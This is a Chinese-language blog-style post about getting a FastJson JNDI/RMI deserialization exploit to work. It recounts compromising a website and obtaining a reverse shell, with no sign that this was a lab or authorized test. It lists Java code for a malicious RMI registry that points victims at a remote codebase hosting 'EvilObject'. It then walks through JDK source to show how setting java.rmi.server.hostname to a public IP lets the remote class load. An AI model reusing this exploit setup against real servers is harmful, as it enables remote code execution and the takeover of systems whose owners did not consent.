去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。
最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。
当时使用的启动rmi服务的java代码。
RMIService.java
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; public class RMIService{ public static void main(String args[])throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); } }
RMI在绑定refObjWrapper时, 绑定的其实是refObjWrapper_Stub
启动RMI后, 用nmap扫描可以发现, ReferenceWrapper_Stub引用到了一个内网ip中。
在客户端从RMI中获取到ReferenceWrapper_Stub后, 经过this.decode还原成ReferenceWrapper, 然后尝试去加载这个引用, 但是因为内网ip的原因直接加载失败。 这个内网ip是ECS的内网ip, 在客户端这边肯定就加载失败了。
在实例化ReferenceWrapper_Stub时,
String var7 = resampleLocalHost(); if (var6 == null) { var3 = new TCPEndpoint(var7, var0, var1, var2); var6 = new LinkedList(); var6.add(var3); var3.listenPort = var0; var3.transport = new TCPTransport(var6); localEndpoints.put(var5, var6); if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) { TCPTransport.tcpLog.log(Log.BRIEF, "created local endpoint for socket factory " + var2 + " on port " + var0); } } else { synchronized(var6) { var3 = (TCPEndpoint)var6.getLast(); String var9 = var3.host; int var10 = var3.port; TCPTransport var11 = var3.transport; if (var7 != null && !var7.equals(var9)) { if (var10 != 0) { var6.clear(); } var3 = new TCPEndpoint(var7, var10, var1, var2); var3.listenPort = var0; var3.transport = var11; var6.add(var3); } } }
通过resampleLocalHost来获取 Reference 要引用到的ip
private static String resampleLocalHost(){ String var0 = getHostnameProperty(); Map var1 = localEndpoints; synchronized(localEndpoints) { if (var0 != null) { if (!localHostKnown) { setLocalHost(var0); } else if (!var0.equals(localHost)) { localHost = var0; if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) { TCPTransport.tcpLog.log(Log.BRIEF, "updated local hostname to: " + localHost); } } } return localHost; } }
首先尝试使用getHostnameProperty来获取ip
private static String getHostnameProperty(){ return (String)AccessController.doPrivileged(new GetPropertyAction("java.rmi.server.hostname")); }
但是这里由于我们的RMIService没有设置java.rmi.server.hostname所以这里返回null。
当从getHostnameProperty获取ip失败时, 直接返回localhost属性。
localhost属性在静态方法中被设置。
static { if (localHost == null) { try { InetAddress var0 = InetAddress.getLocalHost(); byte[] var1 = var0.getAddress(); if (var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) { localHostKnown = false; } if (getBoolean("java.rmi.server.useLocalHostName")) { localHost = TCPEndpoint.FQDN.attemptFQDN(var0); } else { localHost = var0.getHostAddress(); } } catch (Exception var2) { localHostKnown = false; localHost = null; } } if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) { TCPTransport.tcpLog.log(Log.BRIEF, "localHostKnown = " + localHostKnown + ", localHost = " + localHost); } localEndpoints = new HashMap(); }
这里使用了InetAddress.getLocalHost()来获取ip
public static InetAddress getLocalHost()throws UnknownHostException { SecurityManager security = System.getSecurityManager(); try { String local = impl.getLocalHostName(); // 获取HostName, linux系统可以通过修改/etc/hostname文件内容来设置hostname。 if (security != null) { security.checkConnect(local, -1); } if (local.equals("localhost")) { return impl.loopbackAddress(); } InetAddress ret = null; synchronized (cacheLock) { long now = System.currentTimeMillis(); if (cachedLocalHost != null) { if ((now - cacheTime) < maxCacheTime) // Less than 5s old? ret = cachedLocalHost; else cachedLocalHost = null; } // we are calling getAddressesFromNameService directly // to avoid getting localHost from cache if (ret == null) { InetAddress[] localAddrs; try { localAddrs = InetAddress.getAddressesFromNameService(local, null); //使用该方法获取ip,如果hostname是域名,会把域名转换为对应ip //如果hostname不合法, 返回各网卡的ip。 } catch (UnknownHostException uhe) { // Rethrow with a more informative error message. UnknownHostException uhe2 = new UnknownHostException(local + ": " + uhe.getMessage()); uhe2.initCause(uhe); throw uhe2; } cachedLocalHost = localAddrs[0]; // get en0 cacheTime = now; ret = localAddrs[0]; } } return ret; } catch (java.lang.SecurityException e) { return impl.loopbackAddress(); } }
由于ECS的hostname一般都长这个样子
所以肯定不是合法的域名或者ip了, 那么Reference的ip 就是获取的en0的ip,
就成了一个内网ip, 导致访问引用失败。
这里只要把Reference引用到公网ip上 就能成功利用了。
所以以前可以通过修改/etc/hostname为公网ip来成功利用, 但是修改/etc/hostname后得重启才能生效,很麻烦。
从上面可以看出, 如果设置了java.rmi.server.hostname属性之后, 该属性值就会覆盖掉静态方法所设置的localhost属性。
所以在启动rmi的时候 设置java.rmi.server.hostname属性为公网ip即可。
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; public class RMIService{ public static void main(String args[])throws Exception { System.setProperty("java.rmi.server.hostname", "你的公网ip"); Registry registry = LocateRegistry.createRegistry(1099); Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); } }
再用nmap扫描, 就能够发现已经变为公网ip了。